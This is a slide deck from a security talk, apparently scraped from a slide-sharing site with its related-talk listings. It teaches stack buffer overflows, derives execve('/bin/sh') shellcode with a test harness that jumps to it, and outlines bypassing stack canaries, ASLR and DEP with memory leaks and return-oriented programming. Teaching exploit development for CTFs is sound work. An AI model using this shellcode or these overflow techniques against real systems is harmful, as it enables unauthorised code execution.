Software to the slaughter

Software to the Slaughter 
Shane Wilton
Who am I?
TL;DR I hack stuff.
Agenda 
1. Anatomy of a stack 
2. Smashing it 
3. Real (wo)men program 
in shellcode 
4. Canaries, DEP, and 
ASLR, oh my! 
5. Hack the planet.
WTF is a stack?!? 
● Three types of memory regions: 
a. Text 
 Program code, read-only 
b. Data 
 Static variables 
 The heap 
c. Stack 
 Where the magic happens
Data Structures 101 - Stacks 
● An abstract data type with two operations 
o PUSH - Adds an element to the start of a collection 
o POP - Removes an element from the end of a 
collection 
● Last-In-First-Out 
o Imagine a stack of paper
...and that’s useful because? 
● Used to implement 
functions at a low-level 
● Returning from 
procedures, 
passing arguments, 
etc
Calling a Function 
void foo(int a, int b) { 
char buffer[10]; 
} 
void main() { 
foo(1, 2); 
} 
● Push the arguments 
onto the stack, in 
reverse order 
● Push the instruction 
pointer onto the stack 
● Allocate space for the 
variables in foo
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
1 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Return Address (EIP) 
1 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
SP and FP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
FP 
12-Byte Buffer 
SP 
Heap
Returning From a Function 
1. POP the old frame 
pointer off FP 
2. Set SP to this 
value 
3. POP the return 
address off the 
stack 
4. Jump to this address 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
FP 
12-Byte Buffer 
SP 
Heap
What does this mean? 
● If unchecked, the buffer can overrun into the rest of the 
stack! 
● Buffer overflow attack 
o Overwrite return address 
o Overwrite local variables 
o Own the system. 
● What if we fill the buffer with: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA….
Segmentation Fault! 
Heap 
12-Byte Buffer 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
Heap 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141
Returning Fr- wait what? 
void bar() { 
printf(“Hack the North!”); 
} 
void foo(int a, int b) { 
char buffer[10]; 
int *ret; 
ret = buffer + 12; 
(*ret) = &bar; 
} 
● foo overwrites an 
address after the buffer 
to point to bar 
● We just overwrote foo’s 
return address! 
● An attacker can use this 
for evil. 
o Assume the buffer is filled with 
unchecked user input
Shellcode, or How I learned to Stop Worrying and Love the Compiler 
● By overwriting the return address, we can run any code 
in the program 
o What if the code we want isn’t in the program? 
o Add it! Put our code in the buffer, and jump to it 
● We need bytecode that will spawn a shell - shellcode!
Putting the ‘C” in Shellcode 
#include <stdio.h> 
void main() { 
char *name[2]; 
name[0] = "/bin/sh"; 
name[1] = NULL; 
execve(name[0], name, NULL); 
} 
$ gcc -o shellcode -ggdb -static shellcode.c 
$ gdb shellcode 
$ disassemble main 
0x8000130 <main>: pushl %ebp 
0x8000131 <main+1>: movl %esp,%ebp 
0x8000133 <main+3>: subl $0x8,%esp 
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 
0x8000144 <main+20>: pushl $0x0 
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 
0x8000149 <main+25>: pushl %eax 
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 
0x800014d <main+29>: pushl %eax 
0x800014e <main+30>: call 0x80002bc <__execve> 
0x8000153 <main+35>: addl $0xc,%esp 
0x8000156 <main+38>: movl %ebp,%esp 
0x8000158 <main+40>: popl %ebp 
0x8000159 <main+41>: ret
WTF does that mean? 
0x8000130 <main>: pushl %ebp 
0x8000131 <main+1>: movl %esp,%ebp 
0x8000133 <main+3>: subl $0x8,%esp 
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 
0x8000144 <main+20>: pushl $0x0 
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 
0x8000149 <main+25>: pushl %eax 
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 
0x800014d <main+29>: pushl %eax 
0x800014e <main+30>: call 0x80002bc <__execve> 
0x8000153 <main+35>: addl $0xc,%esp 
0x8000156 <main+38>: movl %ebp,%esp 
0x8000158 <main+40>: popl %ebp 
0x8000159 <main+41>: ret 
0x8000130 <main>: Save the frame pointer 
0x8000131 <main+1>: Move the stack pointer 
0x8000133 <main+3>: Allocate space for the ‘name’ buffer 
0x8000136 <main+6>: Copy the address of “/bin/sh” into the 
buffer 
0x800013d <main+13>: Copy NULL into the buffer 
0x8000144 <main+20>: Push NULL onto the stack 
0x8000146 <main+22>: Load the address of our buffer into EAX 
0x8000149 <main+25>: Push that address onto the stack 
0x800014a <main+26>: Load the address of ‘/bin/sh’ into EAX 
0x800014d <main+29>: Push that address onto the stack 
0x800014e <main+30>: Call execve
And now for execve... 
● Disassemble execve too 
● Not going to show it here, but go through the same 
process. 
● We need… 
o EAX = 0xB 
o ECX points to “/bin/sh” 
o EDX points to NULL 
● Then call “int $0x80”
Let’s write that in assembly... 
jmp 0x2a 
popl %esi 
movl %esi,0x8(%esi) 
movb $0x0,0x7(%esi) 
movl $0x0,0xc(%esi) 
movl $0xb,%eax 
movl %esi,%ebx 
leal 0x8(%esi),%ecx 
leal 0xc(%esi),%edx 
int $0x80 
.string "/bin/sh" 
● Compile this with 
NASM, and grab the 
hexadecimal 
representation… 
● xebx2ax5ex89x76 
x08xc6x46x07x00 
xc7x46x0cx00x00 
x00… etc 
● Watch this.
Shellcoder? I hardly know her! 
char shellcode[] = <our shellcode>; 
void main() { 
int *ret; 
ret = (int *)&ret + 2; 
(*ret) = (int)shellcode; 
} 
shane $ gcc -o sc sc.c 
shane $ ./sc 
$ exit 
shane $
Putting It Together 
● Find a buffer 
overflow 
● Find a way of 
exploiting it 
● Fill some buffer 
with shellcode 
● Use your overflow 
to jump to it
It’s not that easy. 
● Nowadays, operating systems are smarter than that 
● Shellcode restrictions 
o No NULL bytes allowed 
o Only alphanumeric characters, etc 
● Stack Canaries 
● Address Space Layout Randomization 
● Data Execution Prevention 
● We can defeat all of these methods.
Stack Canaries 
● Essentially checksums 
● Placed after a buffer 
o Overflowing the buffer will overwrite the canary 
o If the canary is wrong, handle the overflow 
● Generated by the compiler. 
● Use another exploit to leak memory 
o printf format string exploits for example
ASLR 
● At runtime, randomize the positions of 
important memory regions 
o The stack, the heap, data segment, etc 
● Like stack canaries, need a memory leak to 
bypass 
o Leak the address of a buffer 
o Create a NOP-sled and guess 
o Plenty of techniques
Data Execution Prevention 
● Mark memory segments as either writable or 
executable 
o Never both! 
● We can’t put our shellcode on the stack 
anymore. 
● Use return-oriented programming
Return-Oriented Programming 
● Construct our payload entirely of “Gadgets” 
found in the existing codes 
o Sub-sequences of assembly found at the end of 
existing functions 
● Chain them together by overwriting return 
addresses on the stack 
● Always possible!*
Nothing is Safe. 
● Exploit development is hard. 
o Really hard. 
o Target architectures you’ve never used before 
o Fail cleanly to avoid detection 
● But! 
o No protection is infallible 
o It’s fun. Like, really fun. More on this later.
You Can (and should) do it! 
● Capture the Flag - competitive hacking 
o The hackathons of security 
o There’s always one going on 
 CSAW is running right now, it’s for college 
students with no security experience 
● Incredibly fun problems. 
o For example...
Polyglot 
● Write an exploit 
that will run on four 
machines 
o x86 
o ARM Little-Endian 
o ARM Big-Endian 
o PowerPC 
● Insane implications 
for the internet of 
things 
● Read my talk on 
solving it with graph 
theory
Getting Started 
● Micro Corruption - a 20 problem CTF built by 
Square and Matasano Security for teaching 
exploit development 
● Compete! Right now! Seriously, this 
weekend! 
o CSAW - You can solve some of these, I promise.
1 of 35

Recommended

One Shellcode to Rule Them All: Cross-Platform Exploitation by
One Shellcode to Rule Them All: Cross-Platform ExploitationOne Shellcode to Rule Them All: Cross-Platform Exploitation
One Shellcode to Rule Them All: Cross-Platform ExploitationQuinn Wilton
5.2K views22 slides
Low Level Exploits by
Low Level ExploitsLow Level Exploits
Low Level Exploitshughpearse
1.5K views66 slides
Attack on the Core by
Attack on the CoreAttack on the Core
Attack on the CorePeter Hlavaty
12.3K views52 slides
Ice Age melting down: Intel features considered usefull! by
Ice Age melting down: Intel features considered usefull!Ice Age melting down: Intel features considered usefull!
Ice Age melting down: Intel features considered usefull!Peter Hlavaty
599 views64 slides
Hacking - high school intro by
Hacking - high school introHacking - high school intro
Hacking - high school introPeter Hlavaty
1.3K views31 slides
08 - Return Oriented Programming, the chosen one by
08 - Return Oriented Programming, the chosen one08 - Return Oriented Programming, the chosen one
08 - Return Oriented Programming, the chosen oneAlexandre Moneger
965 views32 slides

More Related Content

What's hot

How Safe is your Link ? by
How Safe is your Link ?How Safe is your Link ?
How Safe is your Link ?Peter Hlavaty
1.2K views37 slides
Course lecture - An introduction to the Return Oriented Programming by
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented ProgrammingJonathan Salwan
1.7K views65 slides
Rainbow Over the Windows: More Colors Than You Could Expect by
Rainbow Over the Windows: More Colors Than You Could ExpectRainbow Over the Windows: More Colors Than You Could Expect
Rainbow Over the Windows: More Colors Than You Could ExpectPeter Hlavaty
5.7K views52 slides
Dive into ROP - a quick introduction to Return Oriented Programming by
Dive into ROP - a quick introduction to Return Oriented ProgrammingDive into ROP - a quick introduction to Return Oriented Programming
Dive into ROP - a quick introduction to Return Oriented ProgrammingSaumil Shah
49.7K views76 slides
Racing with Droids by
Racing with DroidsRacing with Droids
Racing with DroidsPeter Hlavaty
3.5K views46 slides
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018] by
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]RootedCON
536 views53 slides

What's hot(20)

How Safe is your Link ? by Peter Hlavaty
How Safe is your Link ?How Safe is your Link ?
How Safe is your Link ?
Peter Hlavaty1.2K views
Course lecture - An introduction to the Return Oriented Programming by Jonathan Salwan
Course lecture - An introduction to the Return Oriented ProgrammingCourse lecture - An introduction to the Return Oriented Programming
Course lecture - An introduction to the Return Oriented Programming
Jonathan Salwan1.7K views
Rainbow Over the Windows: More Colors Than You Could Expect by Peter Hlavaty
Rainbow Over the Windows: More Colors Than You Could ExpectRainbow Over the Windows: More Colors Than You Could Expect
Rainbow Over the Windows: More Colors Than You Could Expect
Peter Hlavaty5.7K views
Dive into ROP - a quick introduction to Return Oriented Programming by Saumil Shah
Dive into ROP - a quick introduction to Return Oriented ProgrammingDive into ROP - a quick introduction to Return Oriented Programming
Dive into ROP - a quick introduction to Return Oriented Programming
Saumil Shah49.7K views
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018] by RootedCON
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]
Ilfak Guilfanov - Decompiler internals: Microcode [rooted2018]
RootedCON536 views
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes by Peter Hlavaty
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytesWindows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Peter Hlavaty31.1K views
You didnt see it’s coming? "Dawn of hardened Windows Kernel" by Peter Hlavaty
You didnt see it’s coming? "Dawn of hardened Windows Kernel" You didnt see it’s coming? "Dawn of hardened Windows Kernel"
You didnt see it’s coming? "Dawn of hardened Windows Kernel"
Peter Hlavaty9.4K views
When is something overflowing by Peter Hlavaty
When is something overflowingWhen is something overflowing
When is something overflowing
Peter Hlavaty6.3K views
An introduction to ROP by Saumil Shah
An introduction to ROPAn introduction to ROP
An introduction to ROP
Saumil Shah5.7K views
Guardians of your CODE by Peter Hlavaty
Guardians of your CODEGuardians of your CODE
Guardians of your CODE
Peter Hlavaty3.4K views
How Functions Work by Saumil Shah
How Functions WorkHow Functions Work
How Functions Work
Saumil Shah27.1K views
ROP 輕鬆談 by hackstuff
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談
hackstuff26K views
How to Root 10 Million Phones with One Exploit by Jiahong Fang
How to Root 10 Million Phones with One ExploitHow to Root 10 Million Phones with One Exploit
How to Root 10 Million Phones with One Exploit
Jiahong Fang14.6K views
DeathNote of Microsoft Windows Kernel by Peter Hlavaty
DeathNote of Microsoft Windows KernelDeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows Kernel
Peter Hlavaty9.4K views
Triton and symbolic execution on gdb by Wei-Bo Chen
Triton and symbolic execution on gdbTriton and symbolic execution on gdb
Triton and symbolic execution on gdb
Wei-Bo Chen595 views
Return oriented programming by hybr1s
Return oriented programmingReturn oriented programming
Return oriented programming
hybr1s2.6K views

Similar to Software to the slaughter

Go Go Gadget! - An Intro to Return Oriented Programming (ROP) by
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Miguel Arroyo
81 views43 slides
Finding Xori: Malware Analysis Triage with Automated Disassembly by
Finding Xori: Malware Analysis Triage with Automated DisassemblyFinding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated DisassemblyPriyanka Aash
193 views31 slides
Load-time Hacking using LD_PRELOAD by
Load-time Hacking using LD_PRELOADLoad-time Hacking using LD_PRELOAD
Load-time Hacking using LD_PRELOADDharmalingam Ganesan
2.9K views24 slides
Writing Metasploit Plugins by
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Pluginsamiable_indian
15.5K views58 slides
Exploitation Crash Course by
Exploitation Crash CourseExploitation Crash Course
Exploitation Crash CourseUTD Computer Security Group
110 views84 slides
Finding Xori: Malware Analysis Triage with Automated Disassembly by
Finding Xori: Malware Analysis Triage with Automated DisassemblyFinding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated DisassemblyPriyanka Aash
403 views28 slides

Similar to Software to the slaughter(20)

Go Go Gadget! - An Intro to Return Oriented Programming (ROP) by Miguel Arroyo
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Go Go Gadget! - An Intro to Return Oriented Programming (ROP)
Miguel Arroyo81 views
Finding Xori: Malware Analysis Triage with Automated Disassembly by Priyanka Aash
Finding Xori: Malware Analysis Triage with Automated DisassemblyFinding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated Disassembly
Priyanka Aash193 views
Writing Metasploit Plugins by amiable_indian
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
amiable_indian15.5K views
Finding Xori: Malware Analysis Triage with Automated Disassembly by Priyanka Aash
Finding Xori: Malware Analysis Triage with Automated DisassemblyFinding Xori: Malware Analysis Triage with Automated Disassembly
Finding Xori: Malware Analysis Triage with Automated Disassembly
Priyanka Aash403 views
Hacklu11 Writeup by nkslides
Hacklu11 WriteupHacklu11 Writeup
Hacklu11 Writeup
nkslides430 views
20190521 pwn 101_by_roy by Roy
20190521 pwn 101_by_roy20190521 pwn 101_by_roy
20190521 pwn 101_by_roy
Roy 100 views
¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidade... by Software Guru
¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidade...¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidade...
¡Ups! código inseguro: detección, explotación y mitigación de vulnerabilidade...
Software Guru1.5K views
Introduction to Linux Exploit Development by johndegruyter
Introduction to Linux Exploit DevelopmentIntroduction to Linux Exploit Development
Introduction to Linux Exploit Development
johndegruyter5.3K views
The true story_of_hello_world by fantasy zheng
The true story_of_hello_worldThe true story_of_hello_world
The true story_of_hello_world
fantasy zheng2.5K views
Exploiting Memory Overflows by Ankur Tyagi
Exploiting Memory OverflowsExploiting Memory Overflows
Exploiting Memory Overflows
Ankur Tyagi993 views
Exploring the x64 by FFRI, Inc.
Exploring the x64Exploring the x64
Exploring the x64
FFRI, Inc.2.2K views
Anatomy of a PHP Request ( UTOSC 2010 ) by Joseph Scott
Anatomy of a PHP Request ( UTOSC 2010 )Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )
Joseph Scott1.9K views
[CCC-28c3] Post Memory Corruption Memory Analysis by Moabi.com
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis
Moabi.com2.5K views

Recently uploaded

FIMA 2023 Neo4j & FS - Entity Resolution.pptx by
FIMA 2023 Neo4j & FS - Entity Resolution.pptxFIMA 2023 Neo4j & FS - Entity Resolution.pptx
FIMA 2023 Neo4j & FS - Entity Resolution.pptxNeo4j
6 views26 slides
DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme... by
DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme...DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme...
DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme...Deltares
5 views28 slides
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the... by
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...Deltares
6 views22 slides
AI and Ml presentation .pptx by
AI and Ml presentation .pptxAI and Ml presentation .pptx
AI and Ml presentation .pptxFayazAli87
11 views15 slides
ict act 1.pptx by
ict act 1.pptxict act 1.pptx
ict act 1.pptxsanjaniarun08
13 views17 slides
Headless JS UG Presentation.pptx by
Headless JS UG Presentation.pptxHeadless JS UG Presentation.pptx
Headless JS UG Presentation.pptxJack Spektor
7 views24 slides

Recently uploaded(20)

FIMA 2023 Neo4j & FS - Entity Resolution.pptx by Neo4j
FIMA 2023 Neo4j & FS - Entity Resolution.pptxFIMA 2023 Neo4j & FS - Entity Resolution.pptx
FIMA 2023 Neo4j & FS - Entity Resolution.pptx
Neo4j6 views
DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme... by Deltares
DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme...DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme...
DSD-INT 2023 Salt intrusion Modelling of the Lauwersmeer, towards a measureme...
Deltares5 views
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the... by Deltares
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...
Deltares6 views
AI and Ml presentation .pptx by FayazAli87
AI and Ml presentation .pptxAI and Ml presentation .pptx
AI and Ml presentation .pptx
FayazAli8711 views
Headless JS UG Presentation.pptx by Jack Spektor
Headless JS UG Presentation.pptxHeadless JS UG Presentation.pptx
Headless JS UG Presentation.pptx
Jack Spektor7 views
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ... by Donato Onofri
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Donato Onofri795 views
Dapr Unleashed: Accelerating Microservice Development by Miroslav Janeski
Dapr Unleashed: Accelerating Microservice DevelopmentDapr Unleashed: Accelerating Microservice Development
Dapr Unleashed: Accelerating Microservice Development
Miroslav Janeski10 views
.NET Developer Conference 2023 - .NET Microservices mit Dapr – zu viel Abstra... by Marc Müller
.NET Developer Conference 2023 - .NET Microservices mit Dapr – zu viel Abstra....NET Developer Conference 2023 - .NET Microservices mit Dapr – zu viel Abstra...
.NET Developer Conference 2023 - .NET Microservices mit Dapr – zu viel Abstra...
Marc Müller38 views
Advanced API Mocking Techniques by Dimpy Adhikary
Advanced API Mocking TechniquesAdvanced API Mocking Techniques
Advanced API Mocking Techniques
Dimpy Adhikary19 views
Airline Booking Software by SharmiMehta
Airline Booking SoftwareAirline Booking Software
Airline Booking Software
SharmiMehta5 views
Software testing company in India.pptx by SakshiPatel82
Software testing company in India.pptxSoftware testing company in India.pptx
Software testing company in India.pptx
SakshiPatel827 views
MariaDB stored procedures and why they should be improved by Federico Razzoli
MariaDB stored procedures and why they should be improvedMariaDB stored procedures and why they should be improved
MariaDB stored procedures and why they should be improved
DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge... by Deltares
DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge...DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge...
DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge...
Deltares17 views
DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -... by Deltares
DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -...DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -...
DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -...
Deltares6 views
Navigating container technology for enhanced security by Niklas Saari by Metosin Oy
Navigating container technology for enhanced security by Niklas SaariNavigating container technology for enhanced security by Niklas Saari
Navigating container technology for enhanced security by Niklas Saari
Metosin Oy13 views
Software evolution understanding: Automatic extraction of software identifier... by Ra'Fat Al-Msie'deen
Software evolution understanding: Automatic extraction of software identifier...Software evolution understanding: Automatic extraction of software identifier...
Software evolution understanding: Automatic extraction of software identifier...
Tridens DevOps by Tridens
Tridens DevOpsTridens DevOps
Tridens DevOps
Tridens9 views

Software to the slaughter

  • 1. Software to the Slaughter Shane Wilton
  • 3. TL;DR I hack stuff.
  • 4. Agenda 1. Anatomy of a stack 2. Smashing it 3. Real (wo)men program in shellcode 4. Canaries, DEP, and ASLR, oh my! 5. Hack the planet.
  • 5. WTF is a stack?!? ● Three types of memory regions: a. Text  Program code, read-only b. Data  Static variables  The heap c. Stack  Where the magic happens
  • 6. Data Structures 101 - Stacks ● An abstract data type with two operations o PUSH - Adds an element to the start of a collection o POP - Removes an element from the end of a collection ● Last-In-First-Out o Imagine a stack of paper
  • 7. ...and that’s useful because? ● Used to implement functions at a low-level ● Returning from procedures, passing arguments, etc
  • 8. Calling a Function void foo(int a, int b) { char buffer[10]; } void main() { foo(1, 2); } ● Push the arguments onto the stack, in reverse order ● Push the instruction pointer onto the stack ● Allocate space for the variables in foo
  • 9. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp SP Heap
  • 10. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp 2 SP Heap
  • 11. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp 1 2 SP Heap
  • 12. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Return Address (EIP) 1 2 SP Heap
  • 13. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 SP Heap
  • 14. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 SP and FP Heap
  • 15. Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 FP 12-Byte Buffer SP Heap
  • 16. Returning From a Function 1. POP the old frame pointer off FP 2. Set SP to this value 3. POP the return address off the stack 4. Jump to this address Old Frame Pointer (EBP) Return Address (EIP) 1 2 FP 12-Byte Buffer SP Heap
  • 17. What does this mean? ● If unchecked, the buffer can overrun into the rest of the stack! ● Buffer overflow attack o Overwrite return address o Overwrite local variables o Own the system. ● What if we fill the buffer with: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA….
  • 18. Segmentation Fault! Heap 12-Byte Buffer Old Frame Pointer (EBP) Return Address (EIP) 1 2 Heap 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141
  • 19. Returning Fr- wait what? void bar() { printf(“Hack the North!”); } void foo(int a, int b) { char buffer[10]; int *ret; ret = buffer + 12; (*ret) = &bar; } ● foo overwrites an address after the buffer to point to bar ● We just overwrote foo’s return address! ● An attacker can use this for evil. o Assume the buffer is filled with unchecked user input
  • 20. Shellcode, or How I learned to Stop Worrying and Love the Compiler ● By overwriting the return address, we can run any code in the program o What if the code we want isn’t in the program? o Add it! Put our code in the buffer, and jump to it ● We need bytecode that will spawn a shell - shellcode!
  • 21. Putting the ‘C” in Shellcode #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode $ disassemble main 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret
  • 22. WTF does that mean? 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret 0x8000130 <main>: Save the frame pointer 0x8000131 <main+1>: Move the stack pointer 0x8000133 <main+3>: Allocate space for the ‘name’ buffer 0x8000136 <main+6>: Copy the address of “/bin/sh” into the buffer 0x800013d <main+13>: Copy NULL into the buffer 0x8000144 <main+20>: Push NULL onto the stack 0x8000146 <main+22>: Load the address of our buffer into EAX 0x8000149 <main+25>: Push that address onto the stack 0x800014a <main+26>: Load the address of ‘/bin/sh’ into EAX 0x800014d <main+29>: Push that address onto the stack 0x800014e <main+30>: Call execve
  • 23. And now for execve... ● Disassemble execve too ● Not going to show it here, but go through the same process. ● We need… o EAX = 0xB o ECX points to “/bin/sh” o EDX points to NULL ● Then call “int $0x80”
  • 24. Let’s write that in assembly... jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 .string "/bin/sh" ● Compile this with NASM, and grab the hexadecimal representation… ● xebx2ax5ex89x76 x08xc6x46x07x00 xc7x46x0cx00x00 x00… etc ● Watch this.
  • 25. Shellcoder? I hardly know her! char shellcode[] = <our shellcode>; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } shane $ gcc -o sc sc.c shane $ ./sc $ exit shane $
